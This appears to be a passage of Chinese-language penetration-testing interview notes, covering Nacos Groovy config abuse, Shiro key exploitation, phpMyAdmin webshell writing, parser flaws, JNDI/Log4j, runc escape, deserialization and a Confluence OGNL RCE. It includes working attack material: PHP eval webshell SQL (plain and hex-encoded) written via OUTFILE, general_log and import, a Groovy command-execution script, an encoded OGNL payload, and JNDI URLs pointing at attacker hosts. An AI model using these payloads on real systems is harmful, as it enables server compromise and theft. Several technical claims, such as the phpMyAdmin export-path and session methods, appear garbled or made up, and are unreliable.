  • 命令执行:如果使用命令执行的方式,执行结果会显示在 Nacos 的日志或应用日志中。但这种方式需要你多次修改配置来执行不同的命令,无法形成一个交互式的 Shell

Nacos 不出网利用方式

1. 构造恶意 Groovy 配置文件

与之前的方法类似,我们需要构造一个恶意 Groovy 脚本。这次,我们的目标是让命令执行的结果能够被我们看到

  • Data ID:任意命名,例如 internal-shell.groovy
  • 配置格式Groovy
  • 配置内容

我们可以将命令执行的结果写入到一个可写的文件中。以下是一个示例,它会执行 ifconfig 命令,并将结果写入到 /tmp/nacos-result.txt 文件中

1
2
3
4
5
6
7
8
def process = "ifconfig".execute()
def output = new StringBuilder()
process.consumeProcessOutput(output, output)

def file = new File("/tmp/nacos-result.txt")
file.withWriter('UTF-8') { writer ->
writer.write(output.toString())
}

请将 ifconfig 替换为你想要执行的命令,并将 /tmp/nacos-result.txt 替换为一个你确定有写入权限的路径

2. 发布配置并触发

在 Nacos 控制台中发布这个恶意配置,等待目标应用加载配置并执行。一旦应用加载了该配置,Groovy 脚本就会在服务器上执行,并将命令执行结果写入指定的文件中

3. 获取命令执行结果

现在,最关键的问题是如何获取到写入文件的结果。这通常需要依赖于以下两种情况:

  • 有文件下载或读取接口:如果目标服务器的应用存在文件下载功能,并且我们可以控制下载路径,那么我们可以通过这个功能来下载 /tmp/nacos-result.txt 文件,从而获取命令执行的结果。
  • 通过 Nacos 控制台回显:在某些情况下,Nacos 的配置加载可能会在应用的日志中打印出结果。如果我们可以访问到应用的日志,那么也可以从中获取信息。但这种方式不够稳定和通用

4. 自动化命令执行(进阶)

如果需要进行多次命令执行,每次都修改配置并发布会非常麻烦。我们可以利用 Nacos 的 API 来实现自动化

  • 1.0 版本的 API
    • 获取配置内容GET /nacos/v1/cs/configs?dataId=<dataId>&group=<group>
    • 修改配置内容POST /nacos/v1/cs/configs
  • 2.0 版本的 API
    • 获取配置内容POST /nacos/v2/cs/configs
    • 修改配置内容POST /nacos/v2/cs/configs

我们可以编写一个脚本,循环执行以下操作:

  1. 构造 Groovy 脚本,将要执行的命令写入其中
  2. 通过 API 更新配置
  3. 通过 API 获取配置,并尝试从中提取命令执行结果(如果结果被写入配置中)
  4. 通过文件下载接口或其他方式获取结果

.do 文件是哪种框架

Struts 1 框架:为了实现更好的代码结构和分层,Struts 1 引入了控制器(Controller)的概念。它将所有请求统一通过一个核心的 ActionServlet 来处理。为了区分这些请求,开发者通常会为它们设置一个统一的扩展名,.do 就是最常见的选择


Shiro 有 Key 无链怎么利用

1. 内存马注入

这是目前最主流且最有效的利用方法之一。如果能通过反序列化注入一个内存马,我们就可以直接与服务器进行交互,绕过 WAF、IDS 等安全设备,并且不留下任何磁盘文件

利用原理

  • 自定义反序列化类:我们需要构造一个恶意的序列化数据,其中包含一个自定义的类
  • 反射机制:这个自定义类在反序列化时,其 readObject 方法会被调用。我们利用反射机制,在 readObject 方法中获取当前应用的 ServletContext
  • 注入 Webshell:有了 ServletContext,我们就可以动态地注册一个 Servlet、Filter 或者 Listener,从而注入一个内存 Webshell

具体步骤

  1. 编写内存马代码:使用 Java 编写一个内存马,通常是一个 Filter 或 Servlet,用于接收请求并执行命令
  2. 构造恶意序列化数据:将内存马代码嵌入到序列化数据中
  3. 加密:使用泄露的 Shiro Key,对这个序列化数据进行 AES 加密
  4. 发送请求:将加密后的数据作为 RememberMe cookie 的值发送到服务器
  5. 反序列化:Shiro 框架会解密并反序列化这个 cookie,从而触发我们的恶意代码,实现内存马注入

优势

  • 绕过传统安全设备:内存马直接运行在内存中,不依赖于文件,因此可以绕过绝大部分基于文件扫描的 WAF 和杀毒软件
  • 无文件落地:攻击不留下任何磁盘痕迹,增加了溯源的难度

2. RMI 远程加载

这种方法利用了 Java 的远程方法调用(RMI)机制,通过反序列化来触发远程加载恶意代码

利用原理

  • JNDI 注入:反序列化时,我们可以构造一个 com.sun.jndi.rmi.registry.RegistryContext 对象,通过 JNDI 注入的方式,让服务器去连接一个我们控制的 RMI 服务器
  • 远程加载 Class 文件:RMI 服务器会返回一个恶意对象,该对象会触发服务器远程加载并实例化我们提供的恶意 Class 文件

具体步骤

  1. 搭建 RMI Server:利用 ysoserial 或自定义代码搭建一个恶意的 RMI 服务器
  2. 编写恶意 Class:编写一个恶意的 Class 文件,其中包含要执行的命令
  3. 构造恶意序列化数据:构造一个包含 JNDI 注入链接的序列化数据,例如 rmi://attacker_ip:port/EvilObject
  4. 加密并发送:使用 Shiro Key 对数据进行加密,并作为 RememberMe cookie 发送
  5. 反序列化触发:服务器反序列化时,会触发 JNDI 注入,连接我们的 RMI 服务器并加载恶意 Class,最终实现命令执行

限制

  • 需要目标服务器能够访问外网或者我们内网的 RMI 服务器
  • Java 版本对 JNDI 注入有一定限制,高版本可能需要额外配置

Redis 主从复制原理

1. 工作原理概述

Redis 主从复制本质上是从节点主动向主节点请求数据同步的过程。它通过两种方式来完成数据的同步:

  1. **全量复制:当从节点第一次连接主节点,或者无法进行增量复制时,主节点会把所有数据完整地同步给从节点
  2. **增量复制:在主从连接断开后重新连接时,主节点会尝试只同步断开期间产生的写命令,以减少数据同步的开销

2. 复制过程详解

2.1 建立连接与请求同步

​ 从节点启动后,会根据配置文件中的 slaveof <master_ip> <master_port> 命令,向主节点发起连接。一旦连接建 立,从节点会发送 PSYNC ? -1 命令,表明它希望进行同步,并请求主节点的复制ID和复制偏移量

2.2 全量复制

​ 全量复制是数据同步的“大动作”,通常发生在以下情况:

  • 从节点首次连接主节点
  • 主从连接断开时间过长,无法进行增量复制

​ 这个过程主要分为以下几个步骤:

  1. 主节点执行 BGSAVE:主节点会创建一个子进程,将当前内存中的所有数据快照保存到一个 RDB 文件中。这个过程是非阻塞的,主节点仍然可以继续处理客户端的请求
  2. 主节点发送 RDB 文件:一旦 RDB 文件生成完毕,主节点会将其通过网络发送给从节点
  3. 主节点缓存新命令:在 RDB 文件生成和传输期间,主节点会将所有新产生的写命令缓存在一个复制积压缓冲区
  4. 从节点清空并加载数据:从节点接收到 RDB 文件后,会先清空自身所有旧数据,然后加载 RDB 文件。加载完成后,从节点就拥有了与主节点在 RDB 生成那一刻完全一致的数据
  5. 主节点发送缓存命令:RDB 加载完成后,主节点会将之前在缓冲区中缓存的所有新命令发送给从节点,从节点接收并执行这些命令,从而实现最终的数据同步

2.3 增量复制

​ 为了避免每次短暂的网络中断都触发耗时的全量复制,Redis 2.8 及以上版本引入了增量复制。它的核心在于:

  • 复制偏移量:主从节点都会维护一个偏移量,记录已经同步了多少字节的数据
  • 复制积压缓冲区:主节点会维护一个固定大小的循环缓冲区。所有新的写命令都会被写入这个缓冲区

​ 当主从连接断开后,从节点会记住自己的复制偏移量。重新连接时,它会发送 PSYNC <master_replid> <offset> 命令,请求从指定偏移量开始同步

​ 主节点收到请求后,会检查从节点请求的偏移量是否还在自己的复制积压缓冲区中:

  • 如果在:说明缓冲区里有从节点需要的数据。主节点会从缓冲区中找到对应的数据,并发送给从节点,从而快速完成同步
  • 如果不在:说明连接中断时间太长,缓冲区中的旧数据已经被新数据覆盖了。此时,主节点会强制执行全量复制

3. Redis 主从复制的优缺点

优点

  • 读写分离:可以将大量的读请求分发到从节点,减轻主节点的压力,提高系统的并发处理能力
  • 数据备份:从节点作为主节点的数据热备,可以在主节点故障时提供数据保障
  • 高可用性:配合哨兵(Sentinel)或集群(Cluster)模式,可以实现故障自动转移,保证服务的高可用

缺点

  • 异步复制:主从复制是异步的,主节点将数据同步给从节点是有一个延时的。如果主节点在同步完成前发生故障,可能会造成少量数据丢失
  • 配置复杂性:需要额外的服务器资源来部署从节点,并且需要进行维护和监控,增加了系统的复杂性

phpMyAdmin 写 Shell 的方法

1. 利用 SELECT ... INTO OUTFILEDUMPFILE

这是最常用、最经典的 phpMyAdmin 写 Shell 方法。INTO OUTFILEDUMPFILE 语句都允许将查询结果写入文件

  • 前提条件:

    • 数据库用户具有 FILE 权限
    • 目标服务器上的 MySQL 用户可以对网站目录有写入权限
    • secure_file_priv 参数没有被设置或被设置为可以写入的目录。如果这个参数被设置为 NULL,则该方法会失效
  • 操作步骤:

    1. 登录 phpMyAdmin
    2. 进入 SQL 查询页面
    3. 构造并执行 SQL 语句。通常,我们会写入一个简单的 PHP WebShell
    1
    SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';

    或者使用十六进制编码来绕过可能的过滤:

    1
    SELECT 0x3c3f70687020406576616c28245f504f53545b22636d64225d293b3f3e INTO OUTFILE '/var/www/html/shell.php';
  • 优点: 简单直接,成功率高

  • 缺点: 依赖于 MySQL 用户的 FILE 权限和服务器配置

2. 利用日志文件写 Shell

INTO OUTFILE 无法使用时,日志文件是一个很好的替代方案。如果 MySQL 的通用查询日志(general log)或慢查询日志(slow query log)是开启的,并且日志文件可写,我们就可以利用这个特性来写入 WebShell

  • 操作步骤:

    1. 查看日志状态: 登录 phpMyAdmin,执行以下 SQL 语句来查看通用日志的开启状态和日志路径

      1
      2
      SHOW VARIABLES LIKE 'general_log';
      SHOW VARIABLES LIKE 'general_log_file';
    2. 设置日志路径: 将日志路径设置为网站可访问的目录,例如 /var/www/html/shell.php

      1
      SET GLOBAL general_log_file = '/var/www/html/shell.php';
    3. 开启日志: 开启通用查询日志

      1
      SET GLOBAL general_log = 'ON';
    4. 执行恶意查询: 构造一个查询,其中包含我们的 WebShell 代码

      1
      SELECT '<?php @eval($_POST["cmd"]);?>';

      这条查询语句和它的结果会被写入到 shell.php 文件中

    5. 关闭日志(可选): 为了避免日志文件过大,可以再次关闭它

      1
      SET GLOBAL general_log = 'OFF';
  • 优点: 绕过了 secure_file_priv 的限制,只要有 SUPER 权限即可

  • 缺点: 需要 MySQL 用户拥有 SUPER 权限,并且日志功能必须是开启的,或者我们有权限开启它

3. 利用 phpMyAdmin 导入功能

这是最常用且最有效的方法之一。phpMyAdmin 的导入功能允许用户上传一个 .sql 文件,并执行其中的 SQL 语句。如果文件内容可控,我们就可以利用这个功能来写入 WebShell

  • 前提条件:

    • 拥有一个可上传的 .sql 文件
    • 具有导入数据库的权限
  • 操作步骤:

    1. 创建一个 .sql 文件,文件内容为写入 WebShell 的 SQL 语句。例如,使用 SELECT ... INTO OUTFILE

      1
      2
      -- shell.sql
      SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
    2. 登录 phpMyAdmin,选择一个数据库

    3. 点击导航栏的“导入”选项卡

    4. 选择你创建的 shell.sql 文件,然后点击“执行”按钮

    5. phpMyAdmin 会执行 shell.sql 中的 SQL 语句,从而在服务器上写入 WebShell

4. 利用 phpMyAdmin 文件导出功能

这个方法与导入功能相反,它利用的是导出功能。在某些配置下,phpMyAdmin 允许将数据库或表中的数据导出为文件。

  • 前提条件:

    • 数据库用户具有 FILE 权限
    • secure_file_priv 参数没有限制
    • 需要创建一个包含 WebShell 代码的表
  • 操作步骤:

    1. 登录 phpMyAdmin,进入一个数据库,然后点击“SQL”选项卡

    2. 创建一个新的表,将 WebShell 代码作为一行数据插入进去

      1
      2
      CREATE TABLE `shell_table` (`data` TEXT NOT NULL);
      INSERT INTO `shell_table` (`data`) VALUES ('<?php @eval($_POST["cmd"]);?>');
    3. 点击“导出”选项卡,选择刚才创建的 shell_table

    4. 在导出选项中,选择导出为 .sql 文件,并勾选“导出为独立文件”

    5. 修改导出路径,将其指向网站可访问的目录,例如 /var/www/html/shell.php

    6. 点击“执行”,phpMyAdmin 就会将包含 WebShell 代码的表数据导出为 shell.php 文件

5. 利用 phpMyAdmin PHPMYADMIN 配置文件

这是一种更高级、更具技巧性的方法,它利用了 phpMyAdmin 自身的配置文件。在某些旧版本或配置不当的环境中,phpMyAdmin 允许通过后台界面修改一些配置

  • 前提条件:
    • phpMyAdmin 版本存在相关漏洞,例如 PHPMYADMIN 4.0.0-4.0.5 之间的版本
    • 拥有足够的权限来修改配置
  • 操作步骤:
    1. 登录 phpMyAdmin,进入“设置”页面
    2. 寻找允许修改文件路径或文件名的选项,例如“导出文件路径”或“临时目录”
    3. 将这些路径修改为包含 WebShell 代码的文件名,例如 shell.php
    4. 在某个地方输入 WebShell 代码,当 phpMyAdmin 尝试使用这个修改后的路径时,就会将 WebShell 代码写入文件

6. 利用 phpMyAdmin SESSION 文件写 SHELL

这个方法是利用 phpMyAdmin 处理会话文件时的漏洞

  • 前提条件:
    • phpMyAdmin 的会话文件可控
    • 具有足够的权限
  • 操作步骤:
    1. 在登录 phpMyAdmin 的过程中,构造一个恶意的 SQL 查询,其中包含 WebShell 代码
    2. 由于 phpMyAdmin 会将会话信息保存在服务器的 SESSION 文件中,如果其没有对输入进行严格过滤,那么恶意代码可能会被写入 SESSION 文件
    3. 找到 SESSION 文件的路径,然后访问该文件。由于会话文件是 PHP 文件,其中的恶意代码会被执行,从而获得 WebShell

了解过哪些中间件解析漏洞

1. Apache 解析漏洞

Apache 的解析漏洞多与其 .htaccess 配置文件有关。如果攻击者可以上传一个 .htaccess 文件到某个目录下,就可以通过修改配置来改变文件解析规则

  • 多后缀解析:Apache 会从文件名的右侧向左开始解析,直到遇到一个已知的可执行后缀
    • 文件名shell.php.jpg
    • 漏洞原理:如果 Apache 的配置文件中没有对 .jpg 后缀进行处理,它会继续向左解析,直到遇到 .php,然后将其当作 PHP 脚本执行
  • .htaccess 文件覆盖
    • 攻击者上传一个 .htaccess 文件,内容为 AddHandler php5-script .jpg
    • 然后上传一个名为 shell.jpg 的文件,其中包含 PHP 代码
    • Apache 看到 .htaccess 文件后,会将所有 .jpg 文件都当作 PHP 脚本来执行,从而导致代码执行

2. Nginx 解析漏洞 (Nginx + PHP-FPM)

这是最著名的解析漏洞之一,尤其是在 Nginx 0.8.x 到 1.4.x 的版本中,配置不当极易引发

  • 漏洞原理:当 Nginx 遇到一个以 / 结尾的 URL 请求(例如 http://example.com/shell.jpg/),且该路径对应一个文件时,它会认为这是一个目录,并尝试找到目录下的默认文件(如 index.php)。如果找不到,它会继续将请求发送给 PHP-FPM 处理。PHP-FPM 在处理时,会认为这是一个 PHP 文件,并执行其中的代码
  • 更严重的版本:攻击者上传 shell.jpg,然后访问 http://example.com/shell.jpg/evil.php。Nginx 会认为 /evil.php 需要被 PHP 处理,于是将整个 shell.jpg 文件发送给 PHP-FPM。PHP-FPM 在执行时会忽略 .jpg 部分,只执行文件中的 PHP 代码

3. IIS 解析漏洞

IIS 早期版本(特别是 IIS 6.0)存在多个经典解析漏洞

  • 分号解析漏洞:IIS 遇到 *.asp;.jpg 这类文件名时,会忽略分号之后的内容,将其当作 *.asp 文件来处理
    • 文件名shell.asp;.jpg
    • 漏洞原理:攻击者可以上传这个文件,IIS 会将其当作 ASP 脚本执行
  • 目录解析漏洞:IIS 6.0 会将含有 *.asp*.asa 等可执行后缀的文件夹中的所有文件都当作可执行脚本
    • 操作:攻击者创建一个名为 shell.asp 的目录,然后在该目录中上传一个名为 image.jpg 的文件
    • 漏洞原理:访问 http://example.com/shell.asp/image.jpg 时,IIS 会将 image.jpg 当作 ASP 脚本执行

Shiro 不出网怎么利用

1. 利用内存马

这是最常见且有效的方法之一。内存马是一种将恶意代码直接注入到目标服务器内存中的技术,它不会在磁盘上留下任何文件,因此难以被传统的杀毒软件和文件监控系统发现

实现思路:

  • 注入 WebShell: 通过 Shiro 反序列化漏洞执行一个内存中的 Shell 代码。这个 Shell 通常是一个 Servlet、Filter 或者 JSP 的形式。它接收你的 HTTP 请求,然后执行命令并将结果通过 HTTP 响应返回
  • 通信方式: 你需要找到一个能够与目标服务器交互的 HTTP 端点(Endpoint)。例如,你可以注入一个 Filter,它会监听特定的 URL 路径,当你的请求命中这个路径时,Filter 就会被触发,执行你传入的命令,然后将命令执行结果作为 HTTP 响应的一部分返回给你

优点:

  • 隐蔽性高,不依赖外网连接
  • 可以绕过很多安全检测
  • 可以实现双向通信,方便后续操作

缺点:

  • 需要一定的 Java 基础和内存马编写能力
  • 服务器重启后,内存马会消失

2. 利用 JRMP 协议进行反向连接

如果目标服务器能够出网,但限制了 HTTP/HTTPS 协议,你还可以尝试通过其他协议进行反向连接。JRMP(Java Remote Method Protocol)是 Java RMI (Remote Method Invocation) 的底层协议,可以用于远程调用对象

实现思路:

  • 创建 JRMPListener: 在你的攻击机上运行一个 JRMPListener,这个 Listener 监听一个端口,等待目标服务器连接
  • Shiro 利用链: 使用 Shiro 反序列化漏洞,在目标服务器上执行一段代码,这段代码会去连接你的 JRMPListener
  • 获取 Shell: 一旦连接建立,你可以通过这个通道在目标服务器上执行命令或者进行其他操作

优点:

  • 利用 JRMP 协议,绕过一些基于 HTTP/HTTPS 的网络限制

缺点:

  • 依然需要目标服务器能够出网
  • 需要编写或使用专门的 JRMP 利用工具

3. 利用文件操作

虽然不能出网,但我们仍然可以利用 Shiro 反序列化漏洞来操作服务器上的文件

实现思路:

  • 写入 WebShell: 通过反序列化漏洞,执行文件写入操作,将一个 WebShell 文件(例如 webshell.jsp)写入到目标服务器的 Web 目录下
  • 利用已有的 WebShell: 如果你发现服务器上已经存在一个可写的目录,或者存在一些可以被利用的日志文件等,也可以将命令执行的结果写入到这些文件中

具体步骤:

  • 使用 URLDNS 或者其他利用链来验证漏洞存在性
  • 找到一个可写的路径,例如 webapps/ROOT/ 目录
  • 构造一个恶意的序列化 payload,其中包含写入文件的操作。例如,可以使用 CommonsCollections 或者 Jdk7u21 等利用链,然后调用 Runtime.exec() 来执行 echo "恶意代码" > /path/to/shell.jsp 命令

优点:

  • 不需要服务器出网
  • 操作直观,容易理解

缺点:

  • 权限问题: 需要目标服务器用户具有写入权限
  • 路径问题: 需要知道 Web 目录的绝对路径,或者通过其他方式推测

4. 命令执行带回显

如果目标服务器不出网,但我们仍然可以执行命令,那么如何看到命令执行的结果呢?

实现思路:

  • 写入文件,然后读取: 执行命令,并将命令执行的结果重定向到一个可读的目录,例如 Web 目录下的一个新文件。然后,你再通过浏览器访问这个文件,就可以看到命令执行的结果了
  • 利用报错: 构造一个特殊的命令,使得命令执行结果作为错误信息输出。例如,一些命令在执行失败时会返回有用的信息

具体步骤:

  • 写入文件: ls -la > /tmp/result.txt
  • 再读取文件: 再次构造反序列化 payload,执行 cat /tmp/result.txt,然后将结果写入到可访问的 Web 文件中,或者通过其他方式带出

优点:

  • 不依赖网络连接

缺点:

  • 操作繁琐,需要多次构造 payload
  • 容易被检测

JNDI 的解析流程和原理

JNDI 的解析流程

JNDI 的解析过程可以概括为以下几个步骤:

  1. 初始上下文(Initial Context):应用程序首先通过 javax.naming.InitialContext 类创建一个初始上下文。这个上下文是 JNDI 查找的起点,它包含了连接到特定命名和目录服务所需的环境信息,例如服务提供商的 URL、认证信息等
  2. 查找(Lookup):应用程序使用 context.lookup(name) 方法来查找一个对象。name 是一个字符串,表示要查找的对象的名称或路径
  3. 服务提供商(Service Provider):JNDI 会根据初始上下文中配置的服务提供商信息,将查找请求委托给相应的服务提供商。例如,如果 URL 是 ldap://...,则会使用 LDAP 服务提供商;如果 URL 是 rmi://...,则会使用 RMI 服务提供商
  4. 命名和目录服务:服务提供商与实际的命名和目录服务进行通信,并根据请求的名称查找对应的对象
  5. 返回结果:命名和目录服务返回查找到的对象。这个对象可以是任何 Java 对象,例如一个字符串、一个数据库连接,甚至是一个远程方法调用的引用

JNDI 注入的原理

JNDI 注入是一种利用 JNDI 漏洞的攻击方式。它的核心思想是,攻击者控制了 context.lookup(name) 方法中的 name 参数,使其指向一个恶意的远程服务,从而在受害者服务器上执行任意代码

具体原理如下:

  1. 注入恶意 URL:攻击者通过某种方式(如 HTTP 请求参数、日志等)将一个恶意的 JNDI URL 注入到应用程序中。这个 URL 通常指向攻击者控制的远程服务器,例如 ldap://attacker.com:1389/Exploit
  2. 触发查找:应用程序在处理用户输入时,无意中将这个恶意 URL 作为 context.lookup() 方法的参数进行调用
  3. JNDI 请求恶意服务:JNDI 框架会向攻击者控制的 LDAP 服务器发起请求,查找 Exploit 这个对象
  4. 返回恶意引用:攻击者的 LDAP 服务器接收到请求后,会返回一个特殊的响应,这个响应中包含了一个远程代码库(Codebase)的 URL,例如 http://attacker.com/,以及一个类名 Exploit
  5. 加载远程类:当 JNDI 收到这个响应后,它会根据返回的远程代码库 URL,从攻击者的 Web 服务器下载 Exploit.class 文件
  6. 执行恶意代码:JNDI 框架会自动实例化并执行 Exploit 类中的代码。Exploit 类通常包含一个静态代码块或构造函数,用于执行恶意命令,例如反弹 shell、创建文件等

Log4j 漏洞原理

1. Log4j 的“查找”(Lookups)功能

Log4j 是一个强大的日志框架,它有一个非常实用的功能叫做 “查找”(Lookups)。这个功能允许在日志配置或日志消息中动态地获取一些信息

比如,你可以用 ${sys:user.name} 来打印当前系统的用户名,或者用 ${env:PATH} 来打印系统的环境变量

这些 Lookups 机制让日志功能变得非常灵活

2. JNDI 查找的引入

在 Log4j 的 2.x 版本中,引入了一种新的查找类型:JNDI Lookup

  • JNDI(Java Naming and Directory Interface)是 Java 平台的一个 API,它允许程序通过名字来查找和访问各种资源,比如数据库、远程对象等
  • JNDI 查找支持多种协议,例如:LDAP (轻量级目录访问协议)、RMI (远程方法调用) 和 DNS

有了 JNDI Lookup,你就可以在日志消息中通过 ${jndi:协议://地址} 的形式去查询一个远程资源

3. 漏洞的核心:JNDI 远程加载类

漏洞的真正核心在于 JNDI 协议的特性

当 Log4j 看到一个 ${jndi:ldap://...} 字符串时,它会:

  1. 解析:识别这是一个 JNDI 查找
  2. 请求:向 ldap:// 指定的远程服务器发起请求
  3. 接收响应:LDAP 服务器会返回一个恶意的 Java 对象(或者说,指向这个对象的引用)。这个对象通常是一个恶意的 .class 文件
  4. 远程加载:客户端(即 Log4j 所在的程序)在处理这个返回的对象时,会自动去加载并实例化这个恶意的 .class 文件

这个过程,就是 JNDI 注入。它利用了 JNDI 协议的特性,让程序主动去加载并执行远程服务器上的代码


runc 容器逃逸原理

1. 竞争条件

这是 runc 容器逃逸中一种经典的利用方式。以 CVE-2019-5736 为例,其核心原理是:

  • 进程切换和文件句柄劫持:当我们在宿主机上执行 docker exec 等命令时,实际上 runc 会在容器内启动一个新的进程。在 runc 启动这个新进程到真正执行用户指定命令的这段极短的时间内,存在一个“窗口期”
  • 恶意代码的快速覆盖:攻击者可以在容器内通过一个精心设计的恶意程序,持续地监控并尝试以写权限打开 runc 进程的文件句柄(/proc/self/exe)。一旦 runc 进程完成了权限降级,文件句柄被释放但尚未关闭,攻击者的恶意程序就会立即抢占这个句柄,并向宿主机上的 runc 二进制文件写入恶意 payload
  • 获得宿主机 root 权限:当 runc 尝试执行后续命令时,它执行的不再是正常的二进制文件,而是已经被篡改的恶意代码。因为 runc 本身是以 root 权限在宿主机上运行的,所以攻击者就成功地以 root 权限执行了任意命令,实现了容器逃逸

2. 特权模式与危险配置

虽然这不是 runc 自身的漏洞,但它是最常见的容器逃逸方式之一,常常与 runc 的使用有关

  • 特权容器(Privileged Container):如果一个容器被以特权模式启动(docker run --privileged),它将获得几乎所有宿主机的 root 能力。这种模式下,容器内的进程可以访问宿主机上的所有设备、挂载宿主机的文件系统,甚至可以操纵内核模块。攻击者可以轻易地通过挂载宿主机根目录并使用 chroot 命令切换根目录,从而完全控制宿主机
  • Docker Socket 挂载:另一种常见配置错误是直接将 /var/run/docker.sock(Docker 守护进程的 Unix Socket)挂载到容器内部。这样做的后果是,容器内的进程可以直接与 Docker 守护进程通信,相当于拥有了在宿主机上创建、运行、停止任何容器的权限。攻击者可以利用这个权限创建另一个特权容器,将宿主机根目录挂载进去,然后轻松实现逃逸

3. 文件描述符泄漏与符号链接

最近的漏洞,如 CVE-2024-21626,则利用了另一种机制:

  • 工作目录和文件描述符:这个漏洞是由于 runc 在处理容器进程的启动和工作目录时存在缺陷。攻击者可以利用 /proc/self/fd/ 这个特殊目录,通过设置容器的工作目录或创建符号链接,来访问本不应该被容器访问到的宿主机文件描述符
  • 突破命名空间隔离:容器通过命名空间(Namespaces)机制来隔离文件系统、进程、网络等资源。但是,如果攻击者可以找到一种方式,让容器内的进程能够操作宿主机上的文件句柄,那么就可以绕过这些命名空间的隔离,从而读写宿主机上的任意文件,最终实现逃逸

JBoss 反序列化漏洞原理

在 CVE-2017-7504 的利用中,攻击者通常会利用 Apache Commons Collections 库中的 Gadget Chain。这个库在许多 Java 应用中都非常常见,因此它成为了反序列化漏洞攻击的理想目标

攻击步骤如下:

  1. 构造恶意对象: 攻击者首先在本地构建一个恶意的 Java 对象,该对象利用 Apache Commons Collections 中的某些类,例如 InvokerTransformer。这个类可以用来反射调用任意方法,例如 java.lang.Runtime.exec()
  2. 将对象序列化: 攻击者将这个恶意对象序列化成字节流
  3. 发送恶意请求: 攻击者通过 JBoss Remoting 协议,将这个恶意的字节流发送给存在漏洞的 JBoss 服务器
  4. 服务器反序列化: JBoss 服务器接收到数据后,会调用 ObjectInputStream.readObject() 方法对其进行反序列化
  5. 触发 Gadget Chain: 在反序列化的过程中,Java 会按照字节流中的描述,依次还原对象并调用其中的方法。当执行到攻击者预设的 InvokerTransformer 时,它会反射调用 java.lang.Runtime.exec() 方法,并执行攻击者指定的命令

XStreadm 反序列化漏洞原理

1. 核心原理:readObject() 方法和 Bad Gadget

XStream 反序列化漏洞的原理与 CommonsCollections 漏洞非常相似,都是利用 Java 的反序列化机制和一些恶意类(Gadget)

  1. 恶意 XML 构造:攻击者首先会找到一个可以被利用的 Java 类(通常称为 “Bad Gadget”),这个类的 readObject() 方法(或其它类似方法,如 finalize())在反序列化时会触发一些非预期的行为
  2. readObject() 的魔法:当 XStream 对一个 XML 数据进行反序列化时,如果它解析到一个 <object-name> 标签,它会尝试实例化这个类,并调用其 readObject() 方法来填充数据
  3. 触发命令执行:如果攻击者能找到一个 Bad Gadget,它的 readObject() 方法能通过反射或其他方式,间接调用 java.lang.Runtime.exec(),那么就可以实现远程代码执行

CommonsCollections 不同的是,XStream 的攻击链并不局限于 CommonsCollections 库。只要能找到一个可以被利用的类,就可以构造出攻击链。

2. 典型的 XStream 攻击链(Groovy 示例)

一个经典的 XStream 攻击链利用了 Groovy 库,它曾经在 XStream 的黑名单之外

  1. 恶意 XML 构造:攻击者构造一个 XML,其中包含一个 Groovy.lang.Closure 对象。这个对象可以在其 call() 方法中执行任意代码

  2. 利用java.util.concurrent.ConcurrentHashMap:攻击者会将 Groovy.lang.Closure 封装到 ConcurrentHashMap 中,并利用其序列化特性

  3. XStream 反序列化:当 XStream 解析 XML 时,它会创建 ConcurrentHashMap 实例,并填充其数据

  4. Groovy 代码执行:在反序列化过程中,ConcurrentHashMap 会调用其内部的某些方法,这些方法会触发 Groovy.lang.Closurecall() 方法,从而执行攻击者预设的 Groovy 代码,例如:

    1
    "whoami".execute()
  5. 远程代码执行:最终,Groovy 代码会被执行,实现了 RCE

这个攻击链的本质是利用了 Groovy.lang.Closure 这个 Bad Gadget,结合 ConcurrentHashMap 的反序列化特性,在不被 XStream 黑名单拦截的情况下,触发了命令执行


讲讲 Confluence RCE

1. 漏洞原理

这个漏洞的本质是一个未授权的远程代码执行(RCE)漏洞。它存在于 Confluence 的管理控制台中,特别是在处理配置文件

攻击者可以利用 Confluence 的某些配置页面(通常与数据源配置诊断相关),向服务器发送一个特制的 HTTP 请求。这个请求中包含一个恶意的OGNL(Object-Graph Navigation Language)表达式

  • OGNL 是一个强大的表达式语言,常用于 Java 应用中,可以用来在运行时操作 Java 对象
  • 攻击者利用:攻击者利用了 Confluence 在处理某些未授权页面时,OGNL 表达式没有被正确沙盒化(sandboxed)或过滤的缺陷。这使得攻击者可以在不进行身份验证的情况下,直接传入 OGNL 表达式,并让服务器执行
  • 执行恶意代码:当服务器解析并执行这个恶意的 OGNL 表达式时,攻击者就可以调用 java.lang.Runtime 等 Java 类,从而在服务器上执行任意的系统命令

这个漏洞的危害性极高,因为它完全不需要任何身份验证,攻击者可以直接在网络上扫描到存在漏洞的 Confluence 实例,然后利用它进行攻击

2. 漏洞利用方式

利用这个漏洞通常非常简单,因为攻击者只需要向特定的 URL 发送一个带有恶意 OGRL 表达式的 HTTP 请求即可

一个典型的利用过程如下:

  1. 探测目标:攻击者首先会扫描互联网,寻找暴露在公网上的 Confluence Data Center 和 Server 实例

  2. 发送恶意请求:攻击者向 Confluence 服务器的某个特定管理 URL 发送一个带有恶意 OGNL Payload 的 GET 或 POST 请求。例如,请求中可能包含如下代码:

    1
    ?diagnostics=x&x=x'%2b#_memberAccess.allowPrivateAccess%3dtrue%2c#_memberAccess.allowProtectedAccess%3dtrue%2c#_memberAccess.allowPackageProtected%3dtrue%2c#_memberAccess.allowStaticMethodAccess%3dtrue%2c#cmd%3d'whoami'%2c#a%3d@java.lang.Runtime@getRuntime().exec(#cmd).getInputStream().readAllBytes()%2c#out%3dnew+java.lang.String(#a)%2c#_memberAccess.allowPrivateAccess%3dfalse%2c#_memberAccess.allowProtectedAccess%3dfalse%2c#_memberAccess.allowPackageProtected%3dfalse%2c#_memberAccess.allowStaticMethodAccess%3dfalse%2c#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter().print(#out)%2c#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter().flush()
    • OGNL 表达式解析:上面的表达式通过反射调用了 java.lang.Runtime.exec() 方法,并执行了 whoami 命令,最后将命令执行结果写入到 HTTP 响应中,返回给攻击者
  3. 获取控制权:如果攻击成功,攻击者就可以在服务器上执行任意命令,例如下载恶意文件、创建新的用户、或者将服务器作为跳板攻击内网


讲下 Spring 相关的 RCE 原理

1. Spring Expression Language (SpEL) 注入

